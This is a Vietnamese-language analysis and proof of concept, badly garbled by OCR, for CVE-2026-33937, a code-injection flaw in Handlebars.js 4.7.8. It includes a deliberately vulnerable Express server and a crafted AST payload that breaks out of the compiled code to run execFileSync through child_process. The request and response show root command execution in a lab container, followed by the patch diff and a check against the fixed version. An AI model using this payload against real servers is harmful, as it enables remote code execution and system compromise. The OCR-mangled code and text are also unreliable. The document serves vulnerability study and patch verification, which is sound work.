CVE-2026-33937 Analysis &
POC

1. CVE & Basic Info

e CVE ID: cvE-2026-33937

o Affected Package: nandiebars (npm) = 4.0.0 = 4.7.8

e CVSS severity: 9.8 - CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
e CWE: cue-843 (Type Confusion) ¢ CWE-94 (Code Injection)

e Fix Commit: 68dsdf5a88e0a26fe9e6084c5c6aacbe67b07da2

e Published: 2026-03-27

2. Root Cause Analysis

Handlebars.js phién ban 4.7.8 tén tai 16 hong JavaScript Injection do 16i Type
Confusion trong qua trinh x{ ly AST. Him Handlebars. compile() chap nhan hai loai
dau vao: chubi template théng thusng va AST (Abstract Syntax Tree) da dudc
parse san. Khi mdt AST object dudc truyén vao, hé théng bod qua hoan toan
budc parsing va s dung truc tiép AST nay trong qua trinh bién dich ma khéng
thuc hién bat ky validation nao trén cau trdc hay ndi dung clia cac node.

L& héng tap trung tai hdm compitle. NumberLiteral() trong giai doan sinh ma
JavaScript. Hdm nay cé nhiém vu xU ly cac node kiéu s6 trong AST, nhung
khéng kiém tra kiéu df liéu cua field value trudc khi day vao opcode pipeline:

// compiler.js — Compile.NumberLiteral()
NumberLiteral: function(number
this.opcode( 'pushLiteral', number.value
// t number.value duoc push thang
// khong cé typeof check
// khéng validate gid tri la sé thuc

value Sau do dugc xU ly b&i javascriptCompiler.pushString() , di QUa quotedString()
dé wrap trong dau nhay. Tuy nhién quotedstring() chi escape mot s ky tu gidi
han—cuthéla \, ', newline — ma khéng escape cac ky tu ), +, //:
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// JavaScriptCompiler.pushString()
pushString: function(string) {
this.pushStackLiteral(this.quotedString(string));

&
quotedString: function(str) {
return '"' + str
.replace( » "\\\\ )
.replace( o \\'Y)
.replace( , '\\n')
replace( , \\r')

// < khéng escape ), +, //
// - payload thoat duoc ra ngoai string context
+||||_

’

Cudi cung, JavascriptCompiler.pushliteral() nhdng gia tri nay truc tiép vao chudi
source code khéng qua bat ky sanitization ndo. Toan bd source code sau dé
dudc truyén vao new Function() dé compile va thuc thi:

// Lubng propagation t&r input dén RCE
NumberLiteral.value (JS code)
1 khéng validate typeof
pushString() - quotedString() khéng escape ), +, //
1 payload s6ng sot
pushLiteral() nhdng RAW vao source string
i
new Function(source) - RCE

Két qua la bat ky endpoint ndo deserialize JSON do ngudi dung kiém soat va
truyén truc tiép VA0 Handlebars.compile() Ma khéng validate typeof input ===
‘string' déu cd thé bij khai thac, ddn dén Remote Code Execution (RCE) trén
server.

3. Analysis

3.1 Requirements
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3.1.1 Environment Setup

Runtime: Node.js (Docker container)
Framework: Express.js + express.json()
Package: handlebars 4.7.8

Entry file: server.js

Lab repo: github.com/dinhvaren/cve-2026-33937

Target port: 3000

3.1.2 Dependencies

handlebars:
o 4.7.8 —Vulnerable

o 4.7.9 —patched

3.2 biéu Kién Khai Thac

Dé exploit thanh céng, can thda man dong thdi cac diéu kién sau:

Application nhan user-controlled input qua HTTP request body (JSON)

Input dugc deserialized thanh JavaScript object (vi du: Express +

express.json() )

Object dé dudc truyén thang vao Handlebars.compile() ma khéng validate
typeof

Server chay Node.js (can process.getBuiltinModule ho&c require)

Handlebars version >= 4.0.0 va <= 4.7.8

3.3 Payload Analysis - Handlebars AST Injection

3.3.1Cau truc AST Payload

Payload la mot crafted AST object dudc inject truc tiép vao Handlebars. compile() .
Attacker khong truyén template string théng thudng ma thay vao dé tao san
moét AST véi ciu truc hgp 1&é vé mat Handlebars syntax, nhung nhing
JavaScript code doc hai vao bén trong node numberLiteral.value .
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Handlebars tin tudng hoan toan vao AST dudc truyén vao ma khoéng re-validate
— day |14 diém mau chét khién exploit thanh céng.

MustacheStateme
escaped: true

PathExpression I params

original: 'lookup'
parts: ['lookup']
depth: 0 | data: PathExpression A
original: 'this' NumberLiteral
parts: [] l

depth: 0 | data:
process.getBuiltinMod iy RERDN "
'child_process' 7" toString() break out comment
bypass require() Buffer — khoi out

| |

3.3.2 rrogram (root)

{ "type": "Program", "body": [...], "strip": {}, "loc": nul
L}

Root node hgp I&. 1oc: nutt dudc Handlebars chap nhan bé qua location
tracking ma khéng gay 16i.

function parseWithoutProcessing(input, options) {
// néd input da la AST (Program node)
if (input.type === 'Program') {
// bd qua parse - dung truc tiép (diém quan trong: ac
cept object tir user)
return input;

3.3.3 MustacheStatement

"type": "MustacheStatement",
"escaped": true,
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"strip": { "open": false, "close": false }

Dai dién cho expression {{ lookup ... }} . escaped: true trébng co vé an toan vi
Handlebars sé& goi escapeexpression() nhung thuc té RCE da xay ra tai new
Function() trudc Khi escapekxpression €O €@ hdi chay. Pay la danh lua vé mat
visual.

// xu’ly {{ ... }} trong template
MustacheStatement: function MustacheStatement(mustache) {
// compile expression bén trong (helper / variable / functi
on)
this.SubExpression(mustache);
// nél can escape (mac dinh {{ }} 1la escaped)
if (mustache.escaped && !this.options.noEscape) {
// thém opcode escape - goi escapeExpression()
this.opcode( 'appendEscaped');
} else {
// khéng escape (vi du {{{ }}}) - append raw
this.opcode( 'append');
}
}

3.3.4 PathExpression 1ookup

{
"type": "PathExpression",
"original”: "lookup",
"parts": ["lookup"],
"depth": 0,
"data": false

}

Trd dén built-in helper 1ookup clia Handlebars dudc whitelist s&n, khéng bi filter.
Attacker chon tookup Vi hai ly do:

« L& helper hgp Ié — vugt qua moi validation & tang helper lookup
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e Nhan 2 tham s6 — tham s6 th( 2 1& numberLiteral — trigger chain xuéng

Compile.NumberLiteral()

3.3.5 PathExpression this

{
"type": "PathExpression",
"original"”: "this",
"parts": [1],
"depth": 0,
"data": false

}

Tham s6 thi nhat cla tookup trd vao current context object. parts: [1 dai dién

cho this . Node nay khéng tham gia vao exploit, chi dé call signature cua
Lookup(obj, field) hdp 1& vé& mat cu phap.

// convert literal (number, string, ...) - PathExpression
function transformLiteralToPath(sexpr) {
// nél path chua phadi dang chuan (khong cé parts)
if (!sexpr.path.parts) {
var literal = sexpr.path;
// chuyén literal thanh PathExpression
// (ép sang string dé’xu’ly thoéng nhat)
sexpr.path = {
type: 'PathExpression',
data: false,
depth: 0,
parts: [literal.original + ''],
original: literal.original + '',
loc: literal.loc

3.3.6 NumberLiteral (diém khai thac chinh)
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“type": "NumberLiteral",

“value": "{},{})) + process.getBuiltinModule('child proce
ss').execFileSync('ls',['-la','/"']).toString() //",

“original”: 1,

"loc": null

Day |4 node bj gia mao kiéu dif liéu. original: 1 tréng nhu mot s6 binh thudng,
nhung vatue chua toan bé JS code df)C hai. Compile.NumberLiteral()

khéng kiém tra kiéu clia value chi doc va push thang vao opcode pipeline.
NumberLiteral: function NumberLiteral (number

this.opcode( 'pushLiteral’, number.value

Phan tich ting thanh phan clia vatue :

{},{1)) Break out

lookupProperty(helpers, "lookup").call(depth@, depthO

// 1

// payload inject vao da
y

// déng argument list +

déng ngoac ham

Déng argument list cua lookup.call() va thoat khoi escapeExpression() phén code
phia sau dugc néi nhu mét expression maéi ddc 1ap.

process.getBuiltinModule('child_process') Bypass require()

process.getBuiltinModule('child process'

Node.js internal API truy cap truc tiép built-in module ma khéng can require() .
Ky thuat nay bypass cac sandbox filter thudng chan require hoac

global.require .
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.execFileSync('ls', ['-la', '/']1) - RCE
execFileSync('1ls' ‘-la', '/

Thuc thilénh 1s 12 / déng bd list toan bo file va thu muc & root filesystem
bao gébm permissions, owner, size. Cho phép attacker reconnaissance hé
théng dé chuan bi budc tan céng tiép theo.

tostring() - Output conversion
toString

Convert suffer output cla execrilesync sang string dé cé thé tra vé trong HTTP
response.

// - Comment out
//

Comment out toan bd phan code con lai clia generated function tranh syntax
error khién new Function() throw exception trudc khi payload kip thuc thi.

3.3.7 Generated source sau khi inject

Sau khi qua pushLiteral() — mergeSource() , chudi source dugcC new Function()
compile tréng nhu sau:

function anonymous(container, depth@, helpers, partials, da
ta
var lookupProperty = container.lookupProperty || function
parent, propertyName
if (Object.prototype.hasOwnProperty.call(parent, proper
tyName
return parent|propertyName

return undefined

return container.escapeExpression
lookupProperty(helpers, "lookup").call
depthO, depthO
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{}.{}) //
« break out
) + process.getBuiltinModule('child process')
.execFileSync('ls', ['-la', '/']) //
« RCE
.toString()
// phan con lai bi comment out — khong cé syntax error

}

JS engine khéng phan biét dudc day 1a code ddc hai né chi thay valid
JavaScript syntax.

4. Call Chain
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Attacker sends
POST / payload=malicious
JSON

JSON.parse

— object v6i
NumberLiteral.value
chra JS code doc hai

|

Handlebars.compile
- nhan string template tu
payload

base.parse
- build AST —
NumberLiteral node
value =
process.getBuiltinModule...

Compile.MustacheStatement
- xU ly lookup helper

Compile.setupFullMustacheParams
— chudn bj params cho helper

|

JavaScriptCompiler.pushString
- quotedString wraps value
nhung KHONG sanitize ndi
dung

JavaScriptCompiler.pushStackLiteral
- déy vao source buffer

|

JavaScriptCompiler.mergeSource
— g0p toan bo source thanh
1 chuéi hoan chinh

|

new
Function(generatedSource)
- JS engine compile
payload
- RCE kich hoat tai day

Attacker nhan két qua
uid=0 root — RCE thanh céng
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5. Proof of Concept

5.1 Vulnerable code (server.js)

const express = require("express");
const Handlebars = require("handlebars");

const app = express();

app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.get("/", (req, res) => {
res.send ("
<h2>Content Renderer</h2>
<form method="POST" action="/render">
<textarea name="payload" rows="15" cols="80"></textar

ea><br><br>
<button>Render</button>
</form>
i
i
app.post("/render", (req, res) => {
try {
const payload = JSON.parse(req.body.payload);
// t parse JSON string thanh AST ob
ject
// req.body.payload la string vi client stri

ngify AST truéc khi gui
const template = Handlebars.compile(payload);

// t nhan AST object thay vi temp
late string
// khong validate typeof - trig
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ger exploit
const result = template({});

res.send( <pre>${result}</pre>");
} catch (e) {
res.send( <pre>${e.stack}</pre>");
}
});
console.log(require.resolve("handlebars"));
app.listen(3000, () => {
console.log("http://localhost:3000");
});

express.json() da tu parse body r6i, nén req.body.payload luc néy dala string (V‘I
trong JSON body, payload la mét JSON string dugc stringify). json.parse() & day
parse cai string do thanh AST object.

5.2 HTTP Request

CVE-2026-33937 Analysis & POC
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Request

Pretty Raw Hex

POST /render HTTP/1.1

Host: localhost:3000

Content-Length: Qlﬂ

Origin: http://localhost:3000
Content-Type: application/x-www-form-urlencodesd
Beferer: http://localhost:3000/
Aocept-Encoding: gzip, deflate, br
Connection: kesspralive

payload={

++"cype"s3at+"Program',

++"body"s3a+[

+4++4{
+4+++++"eype " Ia+"HustacheStatement ",
+4+++++"path"s3a+
++++++++"eype s 3at+"PathExpression™,
++++++++"data"s3a+false,
++++++++"depch"s3a+0,
++++++++parcs"sia+["lookup']
+++4+++4++"original"s3a+" lookup™,
++++++++" loc"s3a+tnull

++++++1,

++++++"params"s3a+[

+HHHt+

+++4+++HH+H 4+ "Eypes3a+"PathExpression™,
++++++++++"daca"s3a+false,
++++++++++"depth"s3a+0,
++++++++++"parcs"s3a+[] .
++++++++++"original"s3a+"this",
++++++++++" loc"s3atnull

+++H++++,

]

++++++++++"type"s3a+" uberLiteral ™,

&

\n

4+t "value"s3a+"{}, {}) ) +52b+process.getBuiltinModule (' child process').execFileSynci('l

s',['-1la','"/']).toString () +//",
++++++++++"original"s3ia+l,
++++++++++" loc"s3a+null
++++++++}

+H++4++]
++++++"escaped"s3atcrus,
+4++4+++"strip"s3a+{+"open"s3at+false, +"close"s3Iatfalse+l),
++++++"loc"s3a+null

+4+++}

++] .

++"strip"s3a+{},
++"loc™s3a+null

}

5.3 Expected output

CVE-2026-33937 Analysis & POC
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Response

Pretty Raw Hex Render L E w0
1 HTTR/1.l 200 OK

2 X-Powered-By: Express

Content-Type: text/html; charset=utf-8
Content-Lengthi: 1213

ETag: W/ "4bd-OuRKis9spS/EOTudlPoabyneIpt™
Date: Mon, 0 Apr Z0ZE 0O4:Z3:25 GMT
Connection: keep-aliwve

Feep-Alive: timeout=5

1 o

A

10 <«<pre>
total &4

11 drwxr-xr-x root root 40%& Apr & 04:23

12 drwxr-xr-x root root 40896 Apr & 04:23 ..

13 —EWHE-XE-X root root 0 Apr & 04:Z23 .dockerenv

14 drwxr—-xr-x root rooct 408 Apr £ 04:23 app

15 lEWHEWKEWH root root 7 Mar 1 00:00 bin -»> usr/bin

la drwxr—-xr-x root root 4088 Jan I 12:40 boot

17 Adrwxr-xr-x root rooct 340 Apr £ 04:23 dev

18 drwxr—-xr-x root root 4085& Apr £ 04:23 etc

1 —EWHE—XE—X root root 44 Mar Z8 13:03 flag.txt
drwxr-xr-x root root 40898 Mar Z5 13:31 home
lrwxrwxrwx root root 7 Mar L& 00:00 lib -»> usr/lib
lrWHEWKE W root root 9 Mar Lle 00:00 libe4 -> usr/liked

root root 4096 Mar 16 00:00 media
root root 408 Mar 1& 00:00 mnt
root rooct 4088 Mar 25 13:31 opt

Arwxr—-xr-x
drwxr-xr-x
drwxr-xr-x

dr-xr-xr-x 285 root root 0 Apr & 04:Z23 proc
Adrwx—————- root root 40%g Mar Z8 12:47 root
Arwxr—-xr-x root root 4096 Mar 16 23:24 run
lrwxrwxrwx root root 8 Mar 1 00:00 sbin -> usr/shin
drwxr-xr-x root root 4088 Mar 1l& 00:00 srv
dr-xr-xr-x 13 root root 0 Apr & 04:23 svys

ArwHrwHErwt
drwxr-xr-x
34 drwxr-xr-x
35 </pre:

root root 409 Mar le 00:00 tmp
root root 4086 Mar 1l& 00:00 usr
root root 408 Mar 1l& 00:00 war

[l S BT B i S T i o R B I e T e e I R e e

server chay véi quyén root , phat hién flag.txt tai /

6. Patch Analysis
6.1 Diff

6.1.1 tib/handleba rs/compiler/base.js

4.7.8 - vulnerable

Trudc khi patch, khi Handlebars.compile() nhan mot AST object, hé th6ng tin
tudng hoan toan vao ndi dung cla tling node va di thang vao compile pipeline.
NumberLiteral.value dUgc push vao opcode ma khéng kiém tra kiéu cho phép
attacker truyén JS code thay vi sé.
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function parseWithoutProcessing(input, options) {
// néd input da la AST (Program node)
if (input.type === 'Program') {
// bd qua parse - dung truc tiép (diém quan trong: ac
cept object tir user)
return input;

4.7.9 - patched

Sau khi patch, mot budc vatidaternputast() dudc chén vao ngay tai diém tiép
nhan AST trudc khi bat ky compile step nao chay. Ham nay duyét dé quy toan
bo cay AST va enforce type contract cho tiing node:

export function parseWithoutProcessing(input, options) {

if (input.type === 'Program') {
// When a pre-parsed AST is passed in, validate all nod
e values

// to prevent code injection via type-confused literal

validateInputAst(input); // < thém buéc validate trud
c khi dung
return input;

function validateInputAst(ast) {
validateAstNode(ast);

function validateAstNode(node) {

if (node == null) { return; }

if (Array.isArray(node)) { node.forEach(validateAstNode) ;
return; }

if (typeof node !== 'object') { return; }

// chan payload cua CVE nay

CVE-2026-33937 Analysis & POC
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if (node.type === 'NumberLiteral') {
if (typeof node.value !== 'number' || !isFinite(node.va
lue)) {
throw new Exception(
'Invalid AST: NumberLiteral.value must be a number’

);

}
// Validate dé quy toan bd node con
Object.keys(node).forEach(propertyName => {

if (propertyName === 'loc') { return; }
validateAstNode(node[propertyName]) ;
1)
}
Node type Constraint dugc enforce
NumberLiteral value phdila number va isFinite
BooleanLiteral value phaila boolean
PathExpression depth phailainteger =0, parts phaila array

of strings

Vi payload cua CVE nay, NumberLiteral.value la mot string chda JS code -

typeof node.value !== 'number' — throw Exception('Invalid AST: NumberLiteral.value
nust be a number') — exploit bj chdn ngay tai entry point, khédng bao gi¢ dén dudc
pushLiteral() hay new Function() .

6.1.2 lib/handlebars/internal/proto-access.js

4.7.8 - vulnerable

methodWhitelList[' defineGetter '] = false;
methodWhitelList[' defineSetter '] = false;
methodWhiteList|[' lookupGetter '] = false;
extend(methodWhitelList, runtimeOptions.allowedProtoMethod
S);

4.7.9 - patched

CVE-2026-33937 Analysis & POC
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B6 sung  lookupsetter  vao blacklist — day 14 method déi xiing Vi
 lookupGetter  nhung bi bd soét trong cac ban va trudc (lién quan CVE-2019-
19919). Patch nay dam bao ca 4 getter/setter accessor methods déu bi chan.

methodWhitelList|[' defineGetter '] = false
methodWhitelList|[' defineSetter '] = false
methodWhitelList|[' LlookupGetter '] = false

methodWhitelList|[' lookupSetter
o1
extend (methodWhitelList, runtimeOptions.allowedProtoMethod

false // <« thém m

6.2 Verify

Chay lai cung payload trén handlebars 4.7.9 :

CVE-2026-33937 Analysis & POC
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Request

Pretty Raw Hex L] in =
1 POST Srender HTTP/L.1

2 Heost: localhost:3000

3 Content-Length: 918

4 Origin: http://localhost:3000

Content-Type: application/x—-www-form-urlencoded
Referer: http://localhost:3000/
Lecept-Encoding: gzip, deflate, br

oot

:
1
5]
=]
=]
I
n
it
i
=]
=]
=
m
1

e ]

|
o
st
-
o
m

A

10 payload={

11 ++"type"iia+"Program”,

12 ++"body"s3a+(

13 | +4++{
++++++"type"s3at"HustacheStatemsnt ",
5 4+++H++"path"s3a+

le 4++++++++"cype"s3a+"PathExpression',
17 ++++++++"data"s3at+false,

12 ++++++++"depth"s3a+0,
++++++++"parcs"s3a+["lockup"] ,
++++++++"original"s3Ia+" lookup”,
++++++++"loc"s3a+tnull

+H++++1,

++++++"params"s3a+[

+HH
++++++++++"type"s3a+"PFathExpression”,
++++++++++"data"s 3a+false,
++++++++++"depth"s3a4+0,
++++++++++"pacts"s3a+[],
++++++++++"original "s3a+"this",

30 ++++++++++" loc"E3a+null

1 Attt

32 A
++++++++++"type"siat"umberLiteral”™,
34 "value"s3a+" (1, (1) ) +5Zb+process.getBuiltinModule (' child process').execFileSync ('l
s',['-la','/']) .toString () +//",
++++++++++"original "s3a+l,
++++++++++" loc"s3a+nul l

++++++++)

+H++++]

++++++"escaped"s3attrues,
++++++"strip"s3a+{+"open"s3at+false, +"close" s Ia+false+}
++++++"loc"53a+null

++++}

++1,

++"strip"s3a+il,

++"loc"s3atnull

response trén 4.7.9:

CVE-2026-33937 Analysis & POC

18



-l -
Response

Pretty Raw Hex Render I = Il
1 HTTPR/Ll.l Z00O OK

2 ¥-Powered-By: Express

3 Content-Type: text/html; charset=utf-8
Content-Length: 754

ETag: W/ "2f2-yML3GhzlKGZlzN+vbDva/7akCpo™
Date: Mon, Of Apr Z0Z& 04:20:34 GHMT
Connection: keep-alive

Feep-Alive: timsout=5

o

S

10 =pre>
Error: Invalid AST: Numberliteral.wvalus must be a number
11 at validatelAstNode
{/app/node_modules/handlebars/dist/cis/handlebars/compiler/base.js:97:13)
12 at Array.forEach (<anonymous:
)
13 at validateldAstlNods
{/app/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:75:10)
14 at /fapp/node modules/handlebars/dist/cis/handlebars/compiler/base.js:109:5
15 at Array.forEach (<anonymous:>
)
at validatelstlNode
{/app/node_modules/handlebars/dist/cis/handlebars/compiler/base.js: 105:21)
1 at Array.forEach (<anonymouss
I
18 at validateldstlNods
{/app/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:75:10)
at fapp/node modules/handlebars/dist/cjs/handlebars/compiler/base.js:109:5
at Array.forEach (<anonymous:
)

</pre:=

a7}

Ts]

Payload khéng con trigger RCE — vatidateastiode() throw exception trudc khi
AST dén dugc compile pipeline.

CVE-2026-33937 Analysis & POC



